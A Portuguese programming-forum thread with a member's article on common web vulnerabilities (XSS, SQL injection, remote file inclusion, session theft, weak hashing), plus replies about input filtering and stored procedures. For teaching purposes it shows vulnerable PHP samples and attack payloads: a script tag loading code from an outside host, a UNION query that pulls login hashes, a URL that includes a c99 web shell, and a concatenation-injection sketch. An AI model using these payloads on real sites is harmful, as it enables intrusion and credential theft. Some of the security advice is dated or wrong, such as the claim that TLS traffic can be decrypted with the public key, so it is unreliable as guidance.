• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

djthyrax

Vulnerabilidades em aplicações Web

60 mensagens neste tópico

Como tenho visto tantas vulnerabilidades nos códigos que têm sido postados (tanto nas dúvidas como nas ajudas), deixo aqui um artigo meu sobre vulnerabilidades em aplicações web. Pretendo com este tópico criar algumas guidelines (mesmo que não sejam oficiais) para que quando ensinarmos alguém, ensinarmos bem (sticky sticky!).

Realço que este artigo saiu na edição 11 da revista PROGRAMAR, embora esta versão tenha levado umas correcções recentemente (hoje).

Estejam à vontade de comentar/questionar, é para isso que cá estou. :)


Vulnerabilidades em aplicações Web

Na informática nada é perfeito. Todas as aplicações têm bugs ou falhas de segurança. As aplicações web não são excepção. Nos tempos que correm, a Internet tem assumido um papel bastante importante na vida das pessoas: os adolescentes falam usando o mais que sobre-lotado MSN, "socializam" através do Hi5, MySpace e espaços semelhantes, mostram as suas criações em comunidades como o deviantART, os "adultos" vêem uns vídeos no YouTube e mandam emails para os amigos. Nesta pequena lista de actividades, a maior parte das pessoas não sabe que poderá estar a ser vítima de um ataque graças a falhas nos sites que está a visitar, falhas essas que muitas vezes se devem a pequenos descuidos do programador. O objectivo deste artigo é elucidar o leitor sobre os tipos de falhas que se descobrem com mais frequência, como funcionam e como as evitar.

De acordo com o estudo OWASP (Open Web Application Security Project) Top 10 de 2007, as vulnerabilidades que existem em mais abundância na web são:

  • Cross site scripting (XSS);
  • Falhas de injecção;
  • Execução de ficheiros maliciosos;
  • Insecure Direct Object Reference;
  • Cross site request forgery (CSRF, também conhecido como XSRF);
  • Fuga de informação, falhas no handling de erros;
  • Quebras de autorização, falhas no handling de sessões;
  • Falhas ao arquivar dados sensíveis, uso de "criptografia insegura";
  • Ligações não-seguras;
  • Falhas na restrição de acesso a URLs.

Falhas XSS e XSRF

Este tipo de falhas consiste em injectar código (normalmente Javascript ou VBscript) no browser do utilizador, alterando o código da página, podendo assim levar ao roubo de informações. Erros em validações de parâmetros enviados pelo método GET ou POST são o principal motor deste tipo de falha.

Exemplo de código que não faz qualquer tipo de validação aos parâmetros enviados:

<html>
       <head>
               <title>Falha de XSS</title>
       </head>
       <body>
               <h1>Pesquisa</h1>
               <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">
                       <input type="text" name="pesquisa" /><br /><br />
                       <input type="submit" name="botao" value="Pesquisar!" />
               </form>
               <?php
               if(!empty($_GET)){
                       echo "Está a pesquisar por: ".$_GET['pesquisa'];
               }
               ?>
       </body>
</html>

Neste pequeno script em PHP, poderíamos "brincar" um bocadinho com o utilizador, fazendo-o clicar, por exemplo, neste link: http://www.exemplo.com/ficheiro_vulneravel.php?pesquisa=%3Cscript%20src=http://kakakeys.com/xs.js%3E%3C/script%3E

Neste caso, o script era inofensivo e limitou-se a abrir aquela janela a dizer "xss!", mas poderia ter sido usado em conjunto com XSRF para roubo de cookies, por exemplo.

As falhas de XSRF são, nada mais nada menos, que um tipo de ataques XSS, onde a página é alterada para enganar o utilizador e roubar informação. A análise a um ataque XSRF, neste caso no popular Hi5, pode ser visto aqui (ver o quadro "Ler mais", 2º link).

As falhas de XSS e XSRF podem ser evitadas usando, por exemplo, uma função para remover tags HTML (ver a função strip_tags() no manual do PHP: http://pt2.php.net/strip_tags) ou para trocar certos caracteres pelo seu HTML entity (ver a função htmlentities() no manual do PHP: http://pt2.php.net/htmlentities).

Falhas de injecção e Insecure Direct Object Reference

Injecção de SQL é das vulnerabilidades mais conhecidas (senão a mais conhecida) pela Internet. Pequenos erros de validação podem se revelar catastróficos e extremamente embaraçantes. A título de exemplo, a Microsoft do Reino Unido foi vítima da exploração de uma vulnerabilidade de injecção de SQL (ver 3º link no quadro "Ler mais").

Exemplo de código vulnerável:

<html>
       <head>
               <title>Falha de SQL Injection</title>
       </head>
       <body>
               <h1>Pesquisa</h1>
               <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                       <input type="text" name="pesquisa" /><br /><br />
                       <input type="submit" name="botao" value="Pesquisar!" />
               </form>
               <?php
               $link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
               mysql_select_db("site");
               $res = mysql_query("SELECT id, uniq FROM blog WHERE tags LIKE '%".$_POST['pesquisa']."%'");
               while(($r = mysql_fetch_array($res))){
                       echo '<a href="post.php?id='.$r['id'].'">'.$r['uniq']."</a><br />";
               }
               ?>
       </body>
</html>

Ao escrever na pesquisa "' UNION SELECT id, uniq FROM logins#" (sem aspas), poderia obter os IDs dos utilizadores (o nome de utilizador por exemplo), e o hash da sua palavra-passe (o campo uniq). Em casos em que exista também uma falha de "má arquivação" de dados sensíveis, como arquivar palavra-passe e não o hash resultante da passagem da palavra-passe por um algoritmo de hash, ir-se-ia obter a palavra-passe "sem qualquer espinha", evitando o recurso a ataques de força bruta ou de dicionário a algoritmos de hash inseguros (o uso de "criptografia insegura") como o MD5 ou o SHA-1.

Em PHP, existe uma forma bastante simples de evitar injecção de SQL: usar a função mysql_real_escape_string() (manual do PHP: http://pt2.php.net/mysql_real_escape_string ) para fazer "escape" dos caracteres perigosos que vêm do utilizador.

As falhas de injecção não são, porém, apenas de SQL. As vulnerabilidades de Insecure Direct Object Reference abrem portas à injecção de código na aplicação em si. Este tipo de vulnerabilidades são vistas principalmente em aplicações PHP de programadores inexperientes.

Exemplo de uma falha de Insecure Direct Object Reference:

<html>
       <head>
               <title>Falha de code injection</title>
       </head>
       <body>
               <h1>Escolha de lingua</h1>
               <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">
                       <select name="lingua">
                               <option>PT</option>
                               <option>EN</option>
                       </select>
                       <input type="submit" name="botao" value="Navegar!" />
               </form>
               <?php
               if(!empty($_GET['lingua'])){
                       include $_GET['lingua'].".index.php";
               }
               ?>
       </body>
</html>

Ao escrever no URL, por exemplo, http://www.exemplo.com/lingua.php?lingua=http://alojamento.tld/shells/c99.txt?, o ficheiro que seria incluído seria, na verdade, o http://alojamento.tld/shells/c99.txt. Usando uma shell C99, poderia criar, apagar ou alterar ficheiros, "matar" processos no servidor ou desligá-lo. Este tipo de falhas é normalmente denominado de Remote File Inclusion (RFI). Usando um pouco de "engenharia social", poder-se-ia fazer um URL de redireccionamento no TinyURL para uma página com código para roubar dados do utilizador. Em conjunto com falhas no handling de sessões, poderia apoderar-me da sessão do utilizador no site, e navegar no mesmo como se fosse a "vítima".

Para evitar este tipo de falhas, é aconselhável usar estruturas de controlo, como if...elseif...else ou o switch:

$pagina = $_GET['pag'];
if($pagina == 'contacto'){
       include "contacto.php";
}elseif($pagina == 'ajuda'){
       include "ajuda.php";
}else{
       include "main.php";
}

switch($_GET['pag']){
       case 'contacto':
               include "contacto.php";
               break;
       case 'ajuda':
               include "ajuda.php";
               break;
       default:
               include "main.php";
               break;
}

Quebras de autorização, falhas no handling de sessões, ligações não-seguras

Um erro bastante cometido pelos menos experientes nas andanças da programação web é a passagem de informação sensível por cookies em ligações não-seguras. Temos, por exemplo, o caso do HDD.com.pt. O serviço premium do HDD.com.pt baseia-se em cookies para verificar o estatuto do utilizador. Ao fazer login, são estabelecidos dois cookies: um com o ID do utilizador, e outro com o hash da password desse utilizador em MD5. Este sistema está vulnerável a quebras de autorização usando ataques MiM (men in the middle) uma vez que passa dados sensíveis por uma ligação não-segura (não usa qualquer tipo de encriptação, como TLS ou SSL) usando cookies (mesmo usando SSL ou TLS, bastaria saber o chave pública para descodificar o pacote e obter os cookies). Para prevenir este tipo de falhas, aconselha-se a nunca enviar dados sensíveis de ou para o cliente usando ligações não seguras, nunca usar cookies para identificação do utilizador nem qualquer tipo de funcionalidades para lembrar o utilizador, para lhe poupar o trabalho de fazer login cada vez que abre o browser.

Como alternativa à passagem de informação identificativa por cookies, aconselha-se o uso de sessões. No entanto, o uso de sessões sofre do mesmo mal que os cookies: podem ser roubadas. Um dos erros mais comuns no uso de sessões é não haver qualquer tipo de verificação se o browser que se está a ligar é o mesmo a cada pedido. Sabendo o cookie de sessão de um utilizador, se eu me ligar a um website usando o cookie de sessão desse utilizador, posso-me fazer passar por ele caso não haja qualquer tipo de verificação ao browser utilizado. Para diminuir a probabilidade de roubo de sessões (sim, porque não deixa de possível), aconselha-se à verificação do browser recorrendo a, por exemplo, o User-Agent, a ordem de envio dos headers, o conteúdo do header HTTP-Accept, entre outros, e caso a verificação falhe, destruir a sessão, dar-lhe uma nova, e obrigar o utilizador a fazer login novamente.

"Criptografia segura" vs "criptografia insegura"

O uso de "criptografia segura" pode fazer toda a diferença entre uma catástrofe e uma saída "ilesa" de um servidor de uma invasão. Quando todas as medidas de precaução que usámos já falharam e estamos condenados, temos uma última arma contra a quebra da privacidade dos nossos utilizadores: o uso de "criptografia segura". Quando falo de "criptografia segura", refiro-me a algoritmos considerados seguros para o armazenamento de dados sensíveis, como os algoritmos SHA-256 e AES por exemplo, em detrimento de "criptografia insegura", como os algoritmos MD4, MD5, SHA-1, entre outros. Um dos grandes problemas dos algoritmos de hashing é, sem dúvida alguma, a possibilidade de clashing, ou seja, existir outra combinação de caracteres que não a original que tenha o mesmo hash.

Imaginemos uma palavra-passe "Portugal-a-Programar". O hash MD5 desta password é e8ca8f20b74e7e64a11160b7002f943d. No entanto, poderão haver outras palavras-passe que dão este hash de 32 caracteres. Mas, usando um algoritmo de hashing que produza um hash maior (como SHA-256, que produz hashes com 64 caracteres, ou o SHA-512, que produz hashes com 128 caracteres), as possibilidades de clashing são muito mais reduzidas. Quando as possibilidades de clashing são menores, um cracker irá necessitar de fazer ataques de dicionário (usando rainbow tables) mais complexos e demorados, uma vez que irá necessitar de uma lista de hashes maior.

Outra medida que muitas pessoas defendem, é o uso de "sal" em palavras-passe, de modo a dificultar muito, se não tornar impraticáveis, os ataques de dicionário. Este "truque" do "sal" consiste em adicionar caracteres à palavra-passe antes de a passar pela função de hashing. Imaginemos a palavra-passe "amor". Como é extremamente provável que o hash desta palavra-passe esteja presente em rainbow tables, vamos adicionar-lhe "sal", de modo a que passe pala função de hashing a password "amortty", que é extremamente improvável que esteja numa rainbow table. Neste caso, o "sal" que adicionámos foi o "tty", que vai ter de ser guardado em algum sítio, sítio esse que ir? estar certamente ao alcance de um cracker durante uma invasão. No entanto, mesmo que o cracker saiba o "sal"? que adicionamos às palavras-passe, irá necessitar de criar novos dicionários com aquele "sal", um processo demasiado moroso para alguns e que nos fazem ganhar tempo até que os dados dos utilizadores sejam expostos. Depois da invasão, mudamos o "sal" das palavras-passe, pedindo aos utilizadores para escolherem uma nova palavra-passe.

Falhas no handling de erros e fuga de informação

Os erros durante o handling de erros pode dar informações preciosas dos mais diversos tipos a um hacker. Imaginemos um sistema de login. Eu submeto um utilizador e uma password aleatórios e obtenho a mensagem "O utilizador escolhido não existe". Tento novamente, mas submeto um utilizador que existe, obtendo a mensagem "A password está errada". Este tipo de erros do programador podem abrir portas a ataques de dicionário ou brute force a um hacker. Para este tipo de casos, não se deve ser explicito no erro, deve-se dizer apenas que os dados fornecidos não estão correctos. Nas falhas de injecção de SQL, o handling de erros também tem um papel fundamental, dizendo exactamente onde aconteceu o erro na query, abrindo portanto ao hacker a estrutura da query e como poderá manipulá-la de forma a atingir os seus objectivos.

Falhas na restrição de acesso a URLs

Esta falha normalmente não representa grande risco, mas há excepções. Esta falha consiste basicamente no uso de URLs genéricos, como http://www.exemplo.com/apagar-post.php para funções administrativas, onde não há qualquer tipo de controlo de quem está a aceder ao URL. Neste tipo de falhas, não há grandes recomendações a fazer para além do ser extremamente cuidadoso nestes ficheiros com verificações como a forma como o script está a ser executado (directamente em vez do include), quem é que está a aceder, entre outros.

Execução de ficheiros maliciosos

Embora este tipo de vulnerabilidade afecte principalmente utilizadores e não servidores, sinto-me na obrigação de falar nele. Muitas vezes, a execução de ficheiros maliciosos está associado a falhas de XSS num site e a falhas de verificação no browser, permitindo a execução de executáveis duvidosos. Muitos dos alertas que os anti-vírus lançam durante a nossa navegação pela Internet, são sobre este tipo de vulnerabilidades. Ao detectarem que numa determinada ligação está a passar código malicioso, eles lançam o aviso e fazem "drop" dos pacotes, evitando assim o ataque.

Embora haja medidas para prevenir todos estes tipos de ataques, nenhuma delas é infalível, funcionando apenas como uma blindagem: não são impenetráveis, mas dão-nos tempo para reagir. Vigilância a servidores usando software para o efeito e ter um administrador com conhecimentos é algo indispensável nos dias que correm, uma vez que podem detectar o início de um ataque e "cortar-lhe as pernas", evitando danos maiores.

Ler Mais:

http://www.owasp.org/index.php/Main_Page

http://forums.ptsec.net/investigacao_discussao_de_exploits/hi5_xssxsrf-t988.0.html

http://www.zone-h.org/content/view/14734/31/

http://pt2.php.net/strip_tags

http://pt2.php.net/htmlentities

http://pt2.php.net/mysql_real_escape_string

http://deathseeker25.wordpress.com/2006/12/28/sql-injection-breve-explicacao/

http://en.wikipedia.org/wiki/SHA_hash_functions

http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

2

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Sticky. Apesar disto também poder estar nos How To's acho que fica melhor aqui.

Bom tópico :thumbsup:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Podias falar das maneiras como proteger as strings vindas de posts e gets (filtragem por regex, remoção  e/ou substitiução de caracteres ) acho que seria uma boa forma de muitas pessoas aprenderem a proteger-se...

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

cyclop, podes sempre "continuar" o artigo com sugestões, eu depois crio uma secção no primeiro post para as sugestões que vão dando e que considero válidas. :D

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Ora bem, aqui vai a minha primeira ajuda para protecções, a mais comum de todas, parametros por $_GET

Parametros vindas de queryString sou a favor de unicamente usar numeros(ID'S) para uma pesquisa numa tabela por exemplo...

este valor deve( a meu ver) ser sempre adquirido via $_GET e NUNCA por $_REQUEST, se sabes que vem de querystring, não é útil usares o request.

E aqui vai uma dica simples de como evitar alguns ataques...

$codigo = preg_replace('/[^0-9]/', '', $_GET['cod']); //<- com isto, irão ser apagados todos os caracteres que nao sejam numéricos

$db->execsql('select campo1,campo2,campo3 from tabela where cod='.$codigo.''); //<- nota de como seleccionei somente os campos QUE PRECISO, nunca usem um select *...

Se tiverem oportunidade de chamar/criar SP's, chamem sempre!

E pronto, foi o primeiro exemplo, até a próxima então :D

PS: expressões regulares são amigas da dase de dados ;P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Ora bem, a uns tempos alguém se lembrou de fazer uma coisa que fizesse uns selects/deletes/updates numa base de dados SQL Server como se fosse uma função para evitar estar sempre a duplicar código... juntaram a isso um motor que previne muitos ataques (obrigatoriedade de definir o tipo de dados que vai entrar)

As SP's evitam a repetição de codigo porque:

Podes fazer um "select 1,2,3,4,54,5,6,7,78,8,9,67,5,4,3,23,2,4,5,6,4,4,4 from tabela1,tabela2 inerjoine na cena e um group by porque inner é union all select dfsdf,sdfsdf,sdfsdfsd from tabela xpto where campo=3423423"

simplesmente usando um "CALL nomedastored(@parametro1=sdfdsfsd, @paramtro2=234234)"

Se procurarem no Google, de certo que so vai aparecer definições em SQL SERVER mas, existe em outros tipos de base de dados... como é o caso do MYSql....

Não sou bom a explicar... mas pronto... desculpem... lol

ha... e SP é stored procedure XD

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Define SP. :)

Não resolve tudo...  ;)

Não me importava de explicar, tou sem tempo, mas vou dizer o porque: teem problemas se fizerem "concat's" dentro do SP.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Então quando tiveres tempo, dá aí uma explicaçãozita. ;)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Então quando tiveres tempo, dá aí uma explicaçãozita. ;)

à pressa:

input: sVar1= "1 = 1;--",sVar2="select * from tabela 2";
declare sVar1, sVar2,sVar3 varchar(1000000^3^3 ^3);-- estupidamente estupido xD talvez um text ajuda-se ^^

sVar3 = select * from tabela where;
sVar3 = concat(sVar3,concat (sVar1,sVar2));

print sVar3 = select * from tabela where 1=1;-- select * from tabela_2

acho que funciona... mas foi um pouco a presa.

Editado por Rui Carlos
GeSHi
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Como alternativa à passagem de informação identificativa por cookies, aconselha-se o uso de sessões. No entanto, o uso de sessões sofre do mesmo mal que os cookies: podem ser roubadas. Um dos erros mais comuns no uso de sessões é não haver qualquer tipo de verificação se o browser que se está a ligar é o mesmo a cada pedido. Sabendo o cookie de sessão de um utilizador, se eu me ligar a um website usando o cookie de sessão desse utilizador, posso-me fazer passar por ele caso não haja qualquer tipo de verificação ao browser utilizado. Para diminuir a probabilidade de roubo de sessões (sim, porque não deixa de possível), aconselha-se à verificação do browser recorrendo a, por exemplo, o User-Agent, a ordem de envio dos headers, o conteúdo do header HTTP-Accept, entre outros, e caso a verificação falhe, destruir a sessão, dar-lhe uma nova, e obrigar o utilizador a fazer login novamente.

Isto significa guardar dados do browser e/ou SO?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Isto significa guardar dados do browser e/ou SO?

Sim.
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Há que ter em atenção que alguns hosts guardam todos os ficheiros temporários referentes às sessões dos vários hosts virtuais na pasta /tmp.

Com um bocadinho de habilidade, é possível 'cheirar' as sessões de outros... 'if you know what I mean' ;-)

Resumindo: em ambientes 'hostis' (partilhados) evitem colocar na sessão dados que possam comprometer a segurança da aplicação e/ou a privacidade dos utilizadores (passwords, usernames, numeros de cartão de crédito!!!, etc).

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Muito interessante!

Muita coisa ai já ta manjada,mas sempre é bom ler mais um pouquinho pra se interar completamente do assunto.

Ótimo tópico.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Obrigado. :P

Aproveito para dizer que quem tiver sugestões para improvements e novos tópicos para abordar, podem fazê-lo por aqui ou para mim por PM.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

$codigo = preg_replace('/[^0-9]/', '', $_GET['cod']); //<- com isto, irão ser apagados todos os caracteres que nao sejam numéricos

$db->execsql('select campo1,campo2,campo3 from tabela where cod='.$codigo.''); //<- nota de como seleccionei somente os campos QUE PRECISO, nunca usem um select *...

Eu não sigo esta filosofia. Se o utilizador não da valores validos, deveram de imediato ser ignorados. Se eu peço um valor numerico, espero um valor numerico, se não for, é mandar uma exception e acaba a festa :)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Eu não sigo esta filosofia. Se o utilizador não da valores validos, deveram de imediato ser ignorados. Se eu peço um valor numerico, espero um valor numerico, se não for, é mandar uma exception e acaba a festa :P

Isso é pouco user-friendy ..

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Ok, podes ter razao. Não se manda uma exception podera simplesmente voltar ao memo sitio e indicar q houve um erro. Mas se pedes um numero e se o utilizador poem "dsfasdas" é pk ta a gozar ctg.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Ok, podes ter razao. Não se manda uma exception podera simplesmente voltar ao memo sitio e indicar q houve um erro. Mas se pedes um numero e se o utilizador poem "dsfasdas" é pk ta a gozar ctg.

Pode cair algo no teclado e introduzir um valor estúpido e submeter o formulário, pode uma criança apanhar aquilo a jeito e começar a brincar, podem acontecer n coisas .. o que interessa é que recebes logo umas chamadas a dizer que "o mundo vai acabar" e coisas assim se porventura aparece ao cliente uma mensagem de erro dessas .. E acredita que eles ligam seja a que hora for, porque programador é diurno e nocturno para eles .. lol

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Memo assim... se ta la pa pedir um valor numerico... acho q não vale apena debater mais, tu fazes as coisas a tua maneira e eu faço a minha :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Eu no sistema que estou a desenvolver actualmente, se alguém tentar sql injection, xss, ou algo que eu ache demasiado mau, leva automaticamente ban ( a nível de users ) e ban temporário ( a nível de IP ). :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Sim isso é outra boa solução. O ban ao ip é feito por php ou editas automaticamente um .htaccess?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora